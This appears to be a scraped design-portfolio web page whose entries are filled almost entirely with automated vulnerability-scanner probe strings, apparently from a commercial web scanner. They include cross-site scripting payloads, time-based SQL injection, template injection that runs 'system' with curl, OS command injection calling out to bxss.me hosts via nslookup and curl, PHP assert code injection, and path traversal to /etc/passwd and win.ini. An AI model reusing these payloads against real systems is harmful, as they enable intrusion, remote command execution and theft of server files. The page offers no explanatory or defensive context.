|
|
優秀作品設計師
|
Testing<a3gVMGF<
pHqghUme |
|
|
Testing
pHqghUme<aEn0pEj< |
|
|
Testing<img sRc='http://attacker-9139/log.php?
pHqghUme |
|
|
Testing
pHqghUme<img sRc='http://attacker-9764/log.php? |
|
|
Testing<aXv9EWr x=9030>
pHqghUme |
|
|
Testing
pHqghUme<aPLYFnV x=9857> |
|
|
Testing<ifRAme sRc=9073.com></IfRamE>
pHqghUme |
|
|
Testing
pHqghUme<ifRAme sRc=9647.com></IfRamE> |
|
|
Testing<WYT0NN>PZVWX[!+!]</WYT0NN>
pHqghUme |
|
|
Testing
pHqghUme<W2MHM9>ZA4UU[!+!]</W2MHM9> |
|
|
TestingPl6Wq
<ScRiPt >Atom(9279)</ScRiPt>
pHqghUme |
|
|
Testing
pHqghUmeMNqsE
<ScRiPt >LhrL(9520)</ScRiPt> |
|
|
Testing}body{zzz:Expre/**/SSion(Atom(9583))}
pHqghUme |
|
|
Testing
pHqghUme}body{zzz:Expre/**/SSion(LhrL(9771))} |
|
|
Testing
<a HrEF=jaVaScRiPT:> |
|
|
<a HrEF=jaVaScRiPT:>
pHqghUme |
|
|
<a HrEF=http://xss.bxss.me></a>
pHqghUme |
|
|
Testing
<a HrEF=http://xss.bxss.me></a> |
|
|
Testing
pHqghUme<input autofocus onfocus=LhrL(9516)> |
|
|
Testing<input autofocus onfocus=Atom(9580)>
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt>LhrL(9434)</sCripT> |
|
|
Testing<ScRiPt>Atom(9703)</sCripT>
pHqghUme |
|
|
Testing
pHqghUme\u003CScRiPt\LhrL(9260)\u003C/sCripT\u003E |
|
|
Testing\u003CScRiPt\Atom(9033)\u003C/sCripT\u003E
pHqghUme |
|
|
Testing
%70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%4C%68%72%4C%289616%29%3C%2F%73%43%72%69%70%54%3E |
|
|
%54%65%73%74%69%6E%67%3C%53%63%52%69%50%74%20%3E%41%74%6F%6D%289451%29%3C%2F%73%43%72%69%70%54%3E
pHqghUme |
|
|
Testing
pHqghUme<img/src=">" onerror=alert(9401)> |
|
|
Testing<img/src=">" onerror=alert(9463)>
pHqghUme |
|
|
Testing
pHqghUme<img src=xyz OnErRor=LhrL(9947)> |
|
|
Testing<img src=xyz OnErRor=Atom(9224)>
pHqghUme |
|
|
Testing
pHqghUme<img src=//xss.bxss.me/t/dot.gif onload=LhrL(9456)> |
|
|
Testing<img src=//xss.bxss.me/t/dot.gif onload=Atom(9293)>
pHqghUme |
|
|
Testing<body onload=Atom(9507)>
pHqghUme |
|
|
Testing
pHqghUme<body onload=LhrL(9109)> |
|
|
Testing
pHqghUme<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9356'> |
|
|
Testing<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9514'>
pHqghUme |
|
|
Testing
pHqghUme<isindex type=image src=1 onerror=LhrL(9871)> |
|
|
Testing<isindex type=image src=1 onerror=Atom(9490)>
pHqghUme |
|
|
Testing
pHqghUme< ScRiPt
>LhrL(9750)</ScRiPt> |
|
|
Testing< ScRiPt
>Atom(9081)</ScRiPt>
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9741></ScRiPt> |
|
|
Testing<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9104></ScRiPt>
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt
>LhrL(9612)</ScRiPt> |
|
|
Testing<ScRiPt
>Atom(9320)</ScRiPt>
pHqghUme |
|
|
Testing
pHqghUme<ScR<ScRiPt>IpT>LhrL(9267)</sCr<ScRiPt>IpT> |
|
|
Testing
pHqghUme<script>LhrL(9868)</script>9868 |
|
|
Testing<ScR<ScRiPt>IpT>Atom(9644)</sCr<ScRiPt>IpT>
pHqghUme |
|
|
Testing
pHqghUme<script>LhrL(9980)</script> |
|
|
Testing<script>Atom(9671)</script>9671
pHqghUme |
|
|
Testing
pHqghUme<WMRWQH>OJX0J[!+!]</WMRWQH> |
|
|
Testing<script>Atom(9964)</script>
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt >LhrL(9635)</ScRiPt> |
|
|
Testing<WJFWKJ>J5TGG[!+!]</WJFWKJ>
pHqghUme |
|
|
Testing
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") |
|
|
Testing<ScRiPt >Atom(9523)</ScRiPt>
pHqghUme |
|
|
Testing
dfb__${98991*97996}__::.x |
|
|
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
pHqghUme |
|
|
Testing
dfb[[${98991*97996}]]xca |
|
|
dfb__${98991*97996}__::.x
pHqghUme |
|
|
Testing
dfb{{98991*97996}}xca |
|
|
dfb[[${98991*97996}]]xca
pHqghUme |
|
|
dfb{{98991*97996}}xca
pHqghUme |
|
|
Testing
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> |
|
|
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
pHqghUme |
|
|
Testing
<th:t="${dfb}#foreach |
|
|
<th:t="${dfb}#foreach
pHqghUme |
|
|
Testing
<%={{={@{#{${dfb}}%> |
|
|
<%={{={@{#{${dfb}}%>
pHqghUme |
|
|
Testing
bfg6504＜s1﹥s2ʺs3ʹhjl6504 |
|
|
bfg9381＜s1﹥s2ʺs3ʹhjl9381
pHqghUme |
|
|
Testing
'"()&%<zzz><ScRiPt >LhrL(9296)</ScRiPt> |
|
|
'"()&%<zzz><ScRiPt >Atom(9650)</ScRiPt>
pHqghUme |
|
|
Testing
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitmkxdeevzac1452f.bxss.me")}} |
|
|
Testing
pHqghUme'"()&%<zzz><ScRiPt >LhrL(9633)</ScRiPt> |
|
|
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitejxxxgqehm138ea.bxss.me")}}
pHqghUme |
|
|
Testing'"()&%<zzz><ScRiPt >Atom(9940)</ScRiPt>
pHqghUme |
|
|
Testing<aYNmi32<
pHqghUme |
|
|
Testing<img sRc='http://attacker-9186/log.php?
pHqghUme |
|
|
Testing<aM65Hu9 x=9544>
pHqghUme |
|
|
Testing
pHqghUme<axuYjJG< |
|
|
Testing<ifRAme sRc=9251.com></IfRamE>
pHqghUme |
|
|
Testing
pHqghUme<img sRc='http://attacker-9802/log.php? |
|
|
Testing
pHqghUme<a4uQWNC x=9818> |
|
|
Testing<W7GDNB>PIUPL[!+!]</W7GDNB>
pHqghUme |
|
|
Testing
pHqghUme<ifRAme sRc=9129.com></IfRamE> |
|
|
Testing9IDA8
<ScRiPt >evLu(9050)</ScRiPt>
pHqghUme |
|
|
Testing}body{zzz:Expre/**/SSion(evLu(9555))}
pHqghUme |
|
|
Testing
pHqghUme<WRDPT4>8BDLF[!+!]</WRDPT4> |
|
|
<a HrEF=jaVaScRiPT:>
pHqghUme |
|
|
Testing
pHqghUmeMJjJc
<ScRiPt >9bUt(9758)</ScRiPt> |
|
|
<a HrEF=http://xss.bxss.me></a>
pHqghUme |
|
|
Testing
pHqghUme}body{zzz:Expre/**/SSion(9bUt(9875))} |
|
|
Testing<input autofocus onfocus=evLu(9482)>
pHqghUme |
|
|
Testing
<a HrEF=jaVaScRiPT:> |
|
|
Testing
<a HrEF=http://xss.bxss.me></a> |
|
|
Testing
pHqghUme<input autofocus onfocus=9bUt(9190)> |
|
|
Testing<ScRiPt>evLu(9037)</sCripT>
pHqghUme |
|
|
Testing\u003CScRiPt\evLu(9003)\u003C/sCripT\u003E
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt>9bUt(9060)</sCripT> |
|
|
%54%65%73%74%69%6E%67%3C%53%63%52%69%50%74%20%3E%65%76%4C%75%289018%29%3C%2F%73%43%72%69%70%54%3E
pHqghUme |
|
|
Testing
pHqghUme\u003CScRiPt\9bUt(9065)\u003C/sCripT\u003E |
|
|
Testing<img/src=">" onerror=alert(9518)>
pHqghUme |
|
|
Testing
%70%48%71%67%68%55%6D%65%3C%53%63%52%69%50%74%20%3E%39%62%55%74%289429%29%3C%2F%73%43%72%69%70%54%3E |
|
|
Testing<img src=xyz OnErRor=evLu(9437)>
pHqghUme |
|
|
Testing
pHqghUme<img/src=">" onerror=alert(9642)> |
|
|
Testing<img src=//xss.bxss.me/t/dot.gif onload=evLu(9722)>
pHqghUme |
|
|
Testing
pHqghUme<img src=xyz OnErRor=9bUt(9517)> |
|
|
Testing<body onload=evLu(9443)>
pHqghUme |
|
|
Testing
pHqghUme<img src=//xss.bxss.me/t/dot.gif onload=9bUt(9176)> |
|
|
Testing<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9215'>
pHqghUme |
|
|
Testing
pHqghUme<body onload=9bUt(9235)> |
|
|
Testing<isindex type=image src=1 onerror=evLu(9374)>
pHqghUme |
|
|
Testing
pHqghUme<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9022'> |
|
|
Testing< ScRiPt
>evLu(9516)</ScRiPt>
pHqghUme |
|
|
Testing
pHqghUme<isindex type=image src=1 onerror=9bUt(9596)> |
|
|
Testing<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9894></ScRiPt>
pHqghUme |
|
|
Testing<ScRiPt
>evLu(9587)</ScRiPt>
pHqghUme |
|
|
Testing
pHqghUme< ScRiPt
>9bUt(9174)</ScRiPt> |
|
|
Testing<ScR<ScRiPt>IpT>evLu(9722)</sCr<ScRiPt>IpT>
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9012></ScRiPt> |
|
|
Testing<script>evLu(9211)</script>9211
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt
>9bUt(9599)</ScRiPt> |
|
|
Testing<script>evLu(9210)</script>
pHqghUme |
|
|
Testing
pHqghUme<ScR<ScRiPt>IpT>9bUt(9133)</sCr<ScRiPt>IpT> |
|
|
Testing
pHqghUme<script>9bUt(9283)</script>9283 |
|
|
Testing<WIKCHJ>CYXQU[!+!]</WIKCHJ>
pHqghUme |
|
|
Testing<ScRiPt >evLu(9888)</ScRiPt>
pHqghUme |
|
|
Testing
pHqghUme<script>9bUt(9176)</script> |
|
|
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
pHqghUme |
|
|
dfb__${98991*97996}__::.x
pHqghUme |
|
|
Testing
pHqghUme<WXLB33>OQPOY[!+!]</WXLB33> |
|
|
dfb[[${98991*97996}]]xca
pHqghUme |
|
|
Testing
pHqghUme<ScRiPt >9bUt(9676)</ScRiPt> |
|
|
dfb{{98991*97996}}xca
pHqghUme |
|
|
Testing
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") |
|
|
Testing
dfb__${98991*97996}__::.x |
|
|
Testing
dfb[[${98991*97996}]]xca |
|
|
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
pHqghUme |
|
|
Testing
dfb{{98991*97996}}xca |
|
|
Testing
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> |
|
|
<th:t="${dfb}#foreach
pHqghUme |
|
|
Testing
<th:t="${dfb}#foreach |
|
|
<%={{={@{#{${dfb}}%>
pHqghUme |
|
|
Testing
<%={{={@{#{${dfb}}%> |
|
|
bfg8846＜s1﹥s2ʺs3ʹhjl8846
pHqghUme |
|
|
Testing
bfg10153＜s1﹥s2ʺs3ʹhjl10153 |
|
|
'"()&%<zzz><ScRiPt >evLu(9942)</ScRiPt>
pHqghUme |
|
|
Testing
'"()&%<zzz><ScRiPt >9bUt(9299)</ScRiPt> |
|
|
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitmmjjhwgjka150a0.bxss.me")}}
pHqghUme |
|
|
Testing
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hittogxedjwck94d38.bxss.me")}} |
|
|
Testing
pHqghUme'"()&%<zzz><ScRiPt >9bUt(9959)</ScRiPt> |
|
|
Testing'"()&%<zzz><ScRiPt >evLu(9785)</ScRiPt>
pHqghUme |
|
|
Testing
(select 198766*667891 from DUAL) |
|
|
Testing
(select 198766*667891) |
|
|
Testing
pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' |
|
|
Testing
pHqghUmen2kBp47g')) OR 273=(SELECT 273 FROM PG_SLEEP(15))-- |
|
|
Testing
pHqghUmenwpGXpz1') OR 209=(SELECT 209 FROM PG_SLEEP(15))-- |
|
|
Testing
pHqghUmeh3C0TcIf' OR 519=(SELECT 519 FROM PG_SLEEP(15))-- |
|
|
Testing
pHqghUmetKlVSAuD'; waitfor delay '0:0:15' -- |
|
|
Testing
pHqghUme-1 waitfor delay '0:0:15' -- |
|
|
Testing
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ |
|
|
Testing
pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z |
|
|
Testing
pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z |
|
|
Testing
if(now()=sysdate(),sleep(15),0) |
|
|
Testing
-1" OR 5*5=25 or "X0V7bbrV"=" |
|
|
Testing
-1' OR 5*5=25 or 'ATkbHnSa'=' |
|
|
(select 198766*667891 from DUAL)
pHqghUme |
|
|
(select 198766*667891)
pHqghUme |
|
|
Testing'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme |
|
|
TestingSAkRsOhv')) OR 333=(SELECT 333 FROM PG_SLEEP(15))--
pHqghUme |
|
|
Testings6X8tNVG') OR 921=(SELECT 921 FROM PG_SLEEP(15))--
pHqghUme |
|
|
Testing1tJlt7GS' OR 152=(SELECT 152 FROM PG_SLEEP(15))--
pHqghUme |
|
|
TestingnFJMns8m'; waitfor delay '0:0:15' --
pHqghUme |
|
|
Testing-1 waitfor delay '0:0:15' --
pHqghUme |
|
|
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme |
|
|
Testing0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme |
|
|
Testing0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme |
|
|
if(now()=sysdate(),sleep(15),0)
pHqghUme |
|
|
-1" OR 5*5=25 or "vgjTVyoL"="
pHqghUme |
|
|
-1' OR 5*5=25 or 'IIPUO7Nj'='
pHqghUme |
|
|
-1" OR 5*5=25 --
pHqghUme |
|
|
-1' OR 5*5=25 --
pHqghUme |
|
|
Testing
'"()&%<zzz><ScRiPt >1a4X(9442)</ScRiPt> |
|
|
Testing
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfhcjvujvwy03337.bxss.me")}} |
|
|
Testing
pHqghUme'"()&%<zzz><ScRiPt >1a4X(9518)</ScRiPt> |
|
|
Testing
&(nslookup${IFS}-q${IFS}cname${IFS}hitjxtigsstbrc8507.bxss.me||curl${IFS}hitjxtigsstbrc8507.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjxtigsstbrc8507.bxss.me||curl${IFS}hitjxtigsstbrc8507.bxss.me)&`' |
|
|
Testing
|(nslookup${IFS}-q${IFS}cname${IFS}hitqxvvdhzowvd7e69.bxss.me||curl${IFS}hitqxvvdhzowvd7e69.bxss.me) |
|
|
Testing
;(nslookup -q=cname hitfbiepcazzif15c3.bxss.me||curl hitfbiepcazzif15c3.bxss.me)|(nslookup -q=cname hitfbiepcazzif15c3.bxss.me||curl hitfbiepcazzif15c3.bxss.me)&(nslookup -q=cname hitfbiepcazzif15c3.bxss.me||curl hitfbiepcazzif15c3.bxss.me) |
|
|
Testing
`(nslookup -q=cname hitbqlkphijtg885b7.bxss.me||curl hitbqlkphijtg885b7.bxss.me)` |
|
|
Testing
|(nslookup -q=cname hituxsqhsmiay5bc10.bxss.me||curl hituxsqhsmiay5bc10.bxss.me) |
|
|
Testing
&(nslookup -q=cname hitojlzgbugrs07ff5.bxss.me||curl hitojlzgbugrs07ff5.bxss.me)&'\"`0&(nslookup -q=cname hitojlzgbugrs07ff5.bxss.me||curl hitojlzgbugrs07ff5.bxss.me)&`' |
|
|
Testing
&nslookup -q=cname hitrhfyojbodr9e500.bxss.me&'\"`0&nslookup -q=cname hitrhfyojbodr9e500.bxss.me&`' |
|
|
Testing
$(nslookup -q=cname hitdbrxbjkcfd73685.bxss.me||curl hitdbrxbjkcfd73685.bxss.me) |
|
|
Testing
(nslookup -q=cname hitvqscwdzfex2ec64.bxss.me||curl hitvqscwdzfex2ec64.bxss.me)) |
|
|
Testing
expr 9000276413 - 953925 |
|
|
Testing
pHqghUme|echo hyuwtx$()\ cyufrx\nz^xyu||a #' |echo hyuwtx$()\ cyufrx\nz^xyu||a #|" |echo hyuwtx$()\ cyufrx\nz^xyu||a # |
|
|
Testing
|echo foqkoa$()\ rqqdxw\nz^xyu||a #' |echo foqkoa$()\ rqqdxw\nz^xyu||a #|" |echo foqkoa$()\ rqqdxw\nz^xyu||a # |
|
|
Testing
pHqghUme&echo ktieks$()\ xulayl\nz^xyu||a #' &echo ktieks$()\ xulayl\nz^xyu||a #|" &echo ktieks$()\ xulayl\nz^xyu||a # |
|
|
Testing
&echo yoghee$()\ jpyfxv\nz^xyu||a #' &echo yoghee$()\ jpyfxv\nz^xyu||a #|" &echo yoghee$()\ jpyfxv\nz^xyu||a # |
|
|
Testing
echo tmalwb$()\ gpkloy\nz^xyu||a #' &echo tmalwb$()\ gpkloy\nz^xyu||a #|" &echo tmalwb$()\ gpkloy\nz^xyu||a # |
|
|
'"()&%<zzz><ScRiPt >1a4X(9039)</ScRiPt>
pHqghUme |
|
|
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitjzsdabgvvp5f922.bxss.me")}}
pHqghUme |
|
|
Testing'"()&%<zzz><ScRiPt >1a4X(9458)</ScRiPt>
pHqghUme |
|
|
Testing
'.print(md5(31337)).' |
|
|
Testing
${@print(md5(31337))}\ |
|
|
Testing
${@print(md5(31337))} |
|
|
Testing
";print(md5(31337));$a=" |
|
|
Testing
';print(md5(31337));$a=' |
|
|
Testing
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); |
|
|
Testing
http://bxss.me/t/fit.txt?.jpg |
|
|
Testing
Http://bxss.me/t/fit.txt |
|
|
Testing
'A'.concat(70-3).concat(22*4).concat(109).concat(72).concat(120).concat(89)+(require'socket'
Socket.gethostbyname('hitiz'+'jxkwfwaqf2ec0.bxss.me.')[3].to_s) |
|
|
Testing
c:/windows/win.ini |
|
|
Testing
'+'A'.concat(70-3).concat(22*4).concat(113).concat(87).concat(112).concat(89)+(require'socket'
Socket.gethostbyname('hitxx'+'lvnmwlsn0946d.bxss.me.')[3].to_s)+' |
|
|
Testing
"+"A".concat(70-3).concat(22*4).concat(103).concat(79).concat(103).concat(79)+(require"socket"
Socket.gethostbyname("hitnd"+"azedjttmebf64.bxss.me.")[3].to_s)+" |
|
|
Testing
../../../../../../../../../../../../../../etc/shells |
|
|
Testing
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg |
|
|
Testing
pHqghUme"||sleep(27*1000)*qljcde||" |
|
|
Testing
pHqghUme'||sleep(27*1000)*utshvz||' |
|
|
Testing
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg |
|
|
Testing
pHqghUme"&&sleep(27*1000)*fittjl&&" |
|
|
Testing
pHqghUme'&&sleep(27*1000)*czcrrd&&' |
|
|
'.print(md5(31337)).'
pHqghUme |
|
|
${@print(md5(31337))}\
pHqghUme |
|
|
&(nslookup${IFS}-q${IFS}cname${IFS}hitdwzobisyyx3c16a.bxss.me||curl${IFS}hitdwzobisyyx3c16a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdwzobisyyx3c16a.bxss.me||curl${IFS}hitdwzobisyyx3c16a.bxss.me)&`'
pHqghUme |
|
|
${@print(md5(31337))}
pHqghUme |
|
|
";print(md5(31337));$a="
pHqghUme |
|
|
|(nslookup${IFS}-q${IFS}cname${IFS}hittmegrlanho407b9.bxss.me||curl${IFS}hittmegrlanho407b9.bxss.me)
pHqghUme |
|
|
';print(md5(31337));$a='
pHqghUme |
|
|
;(nslookup -q=cname hitajqhjbbcuid543c.bxss.me||curl hitajqhjbbcuid543c.bxss.me)|(nslookup -q=cname hitajqhjbbcuid543c.bxss.me||curl hitajqhjbbcuid543c.bxss.me)&(nslookup -q=cname hitajqhjbbcuid543c.bxss.me||curl hitajqhjbbcuid543c.bxss.me)
pHqghUme |
|
|
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
pHqghUme |
|
|
'A'.concat(70-3).concat(22*4).concat(122).concat(78).concat(115).concat(77)+(require'socket'
Socket.gethostbyname('hitvf'+'mpufgabl410bd.bxss.me.')[3].to_s)
pHqghUme |
|
|
Testing
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) |
|
|
`(nslookup -q=cname hitafkzfyhbqk65181.bxss.me||curl hitafkzfyhbqk65181.bxss.me)`
pHqghUme |
|
|
'+'A'.concat(70-3).concat(22*4).concat(102).concat(90).concat(98).concat(82)+(require'socket'
Socket.gethostbyname('hityi'+'xjfibuvtb671d.bxss.me.')[3].to_s)+'
pHqghUme |
|
|
|(nslookup -q=cname hitkdfskkiafg516eb.bxss.me||curl hitkdfskkiafg516eb.bxss.me)
pHqghUme |
|
|
Testing
gethostbyname(lc('hitwb'.'bwwfjnnxd67f4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(79).chr(99).chr(83) |
|
|
"+"A".concat(70-3).concat(22*4).concat(110).concat(75).concat(119).concat(80)+(require"socket"
Socket.gethostbyname("hitzh"+"tagbwkfd204e5.bxss.me.")[3].to_s)+"
pHqghUme |
|
|
Testing
".gethostbyname(lc("hittz"."nzxgnpsvc261d.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(74).chr(99).chr(77)." |
|
|
&(nslookup -q=cname hitbrsuypkjov4c789.bxss.me||curl hitbrsuypkjov4c789.bxss.me)&'\"`0&(nslookup -q=cname hitbrsuypkjov4c789.bxss.me||curl hitbrsuypkjov4c789.bxss.me)&`'
pHqghUme |
|
|
Testing
bxss.me/t/xss.html?%00 |
|
|
Testing
'.gethostbyname(lc('hitjv'.'eyukykub5a5af.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(119).chr(74).' |
|
|
Testing
HttP://bxss.me/t/xss.html?%00 |
|
|
&nslookup -q=cname hitvvqqrrvsgk7c043.bxss.me&'\"`0&nslookup -q=cname hitvvqqrrvsgk7c043.bxss.me&`'
pHqghUme |
|
|
$(nslookup -q=cname hitcfyvkegnfr6077a.bxss.me||curl hitcfyvkegnfr6077a.bxss.me)
pHqghUme |
|
|
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
pHqghUme |
|
|
(nslookup -q=cname hitkkvcvhbwau57e69.bxss.me||curl hitkkvcvhbwau57e69.bxss.me))
pHqghUme |
|
|
expr 9000546391 - 922323
pHqghUme |
|
|
Testing|echo mlpseq$()\ zobopu\nz^xyu||a #' |echo mlpseq$()\ zobopu\nz^xyu||a #|" |echo mlpseq$()\ zobopu\nz^xyu||a #
pHqghUme |
|
|
|echo vdlliy$()\ xihnew\nz^xyu||a #' |echo vdlliy$()\ xihnew\nz^xyu||a #|" |echo vdlliy$()\ xihnew\nz^xyu||a #
pHqghUme |
|
|
Testing&echo wgssqe$()\ wxnbde\nz^xyu||a #' &echo wgssqe$()\ wxnbde\nz^xyu||a #|" &echo wgssqe$()\ wxnbde\nz^xyu||a #
pHqghUme |
|
|
&echo jbaxvq$()\ uxkjee\nz^xyu||a #' &echo jbaxvq$()\ uxkjee\nz^xyu||a #|" &echo jbaxvq$()\ uxkjee\nz^xyu||a #
pHqghUme |
|
|
echo xycrtz$()\ xewzxt\nz^xyu||a #' &echo xycrtz$()\ xewzxt\nz^xyu||a #|" &echo xycrtz$()\ xewzxt\nz^xyu||a #
pHqghUme |
|
|
bxss.me/t/xss.html?%00
pHqghUme |
|
|
HttP://bxss.me/t/xss.html?%00
pHqghUme |
|
|
Testing"||sleep(27*1000)*vpervf||"
pHqghUme |
|
|
Testing'||sleep(27*1000)*rriajf||'
pHqghUme |
|
|
Testing"&&sleep(27*1000)*crscez&&"
pHqghUme |
|
|
Testing'&&sleep(27*1000)*dhjfsg&&'
pHqghUme |
|
|
Testing
^(#$!@#$)(()))****** |
|
|
gethostbyname(lc('hitgb'.'vvqkafgzcda0d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(89).chr(109).chr(81)
pHqghUme |
|
|
".gethostbyname(lc("hitvx"."twanppoc60bbc.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(85).chr(118).chr(85)."
pHqghUme |
|
|
Testing
redirtest.acx?pHqghUme |
|
|
'.gethostbyname(lc('hittj'.'lipkdywq046b3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(111).chr(65).'
pHqghUme |
|
|
http://bxss.me/t/fit.txt?.jpg
pHqghUme |
|
|
Http://bxss.me/t/fit.txt
pHqghUme |
|
|
Testing
file:///etc/passwd |
|
|
c:/windows/win.ini
pHqghUme |
|
|
../../../../../../../../../../../../../../etc/shells
pHqghUme |
|
|
Testing
../../../../../../../../../../../../../../windows/win.ini |
|
|
Testing
../../../../../../../../../../../../../../etc/passwd |
|
|
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
pHqghUme |
|
|
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
pHqghUme |
|
|
redirtest.acx?Testing
pHqghUme |
|
|
^(#$!@#$)(()))******
pHqghUme |
|
|
Testing
pHqghUme&n905386=v954044 |
|
|
Testing
"+response.write(9515172*9730407)+" |
|
|
Testing
'+response.write(9515172*9730407)+' |
|
|
Testing
response.write(9515172*9730407) |
|
|
Testing&n984137=v979668
pHqghUme |
|
|
file:///etc/passwd
pHqghUme |
|
|
../../../../../../../../../../../../../../windows/win.ini
pHqghUme |
|
|
../../../../../../../../../../../../../../etc/passwd
pHqghUme |
|
|
Testing
tfy1JVhP: sm3wBhGd |
|
|
Testing
${9999250+9999206} |
|
|
"+response.write(9680713*9455367)+"
pHqghUme |
|
|
'+response.write(9680713*9455367)+'
pHqghUme |
|
|
response.write(9680713*9455367)
pHqghUme |
|
|
Testing
pHqghUme<esi:include src="http://bxss.me/rpb.png"/> |
|
|
${9999100+10000037}
pHqghUme |
|
|
MozAZAO8: 8nY7uvwu
pHqghUme |
|
|
Testing<esi:include src="http://bxss.me/rpb.png"/>
pHqghUme |
|
|
Testing
wrBEIRqX<asXgNB8< |
|
|
Testing
wrBEIRqX<img sRc='http://attacker-9200/log.php? |
|
|
Testing
wrBEIRqX<ahevBOJ x=9804> |
|
|
Testing
wrBEIRqX<ifRAme sRc=9569.com></IfRamE> |
|
|
Testing<aJ1soFg<
wrBEIRqX |
|
|
Testing
wrBEIRqX<WNZXKU>OW9WR[!+!]</WNZXKU> |
|
|
Testing<img sRc='http://attacker-9043/log.php?
wrBEIRqX |
|
|
Testing
wrBEIRqXAQJXh
<ScRiPt >ZG8x(9891)</ScRiPt> |
|
|
Testing<aj5zCgV x=9234>
wrBEIRqX |
|
|
Testing
wrBEIRqX}body{zzz:Expre/**/SSion(ZG8x(9553))} |
|
|
Testing<ifRAme sRc=9043.com></IfRamE>
wrBEIRqX |
|
|
Testing
<a HrEF=jaVaScRiPT:> |
|
|
Testing<W4VHHV>YRDMX[!+!]</W4VHHV>
wrBEIRqX |
|
|
Testing
<a HrEF=http://xss.bxss.me></a> |
|
|
TestingGR01T
<ScRiPt >EJSR(9162)</ScRiPt>
wrBEIRqX |
|
|
Testing
wrBEIRqX<input autofocus onfocus=ZG8x(9359)> |
|
|
Testing}body{zzz:Expre/**/SSion(EJSR(9078))}
wrBEIRqX |
|
|
<a HrEF=jaVaScRiPT:>
wrBEIRqX |
|
|
Testing
wrBEIRqX<ScRiPt>ZG8x(9087)</sCripT> |
|
|
<a HrEF=http://xss.bxss.me></a>
wrBEIRqX |
|
|
Testing
wrBEIRqX\u003CScRiPt\ZG8x(9858)\u003C/sCripT\u003E |
|
|
Testing<input autofocus onfocus=EJSR(9469)>
wrBEIRqX |
|
|
Testing
%77%72%42%45%49%52%71%58%3C%53%63%52%69%50%74%20%3E%5A%47%38%78%289472%29%3C%2F%73%43%72%69%70%54%3E |
|
|
Testing
wrBEIRqX<img/src=">" onerror=alert(9965)> |
|
|
Testing<ScRiPt>EJSR(9433)</sCripT>
wrBEIRqX |
|
|
Testing
wrBEIRqX<img src=xyz OnErRor=ZG8x(9828)> |
|
|
Testing\u003CScRiPt\EJSR(9990)\u003C/sCripT\u003E
wrBEIRqX |
|
|
Testing
wrBEIRqX<img src=//xss.bxss.me/t/dot.gif onload=ZG8x(9029)> |
|
|
Testing
wrBEIRqX<body onload=ZG8x(9661)> |
|
|
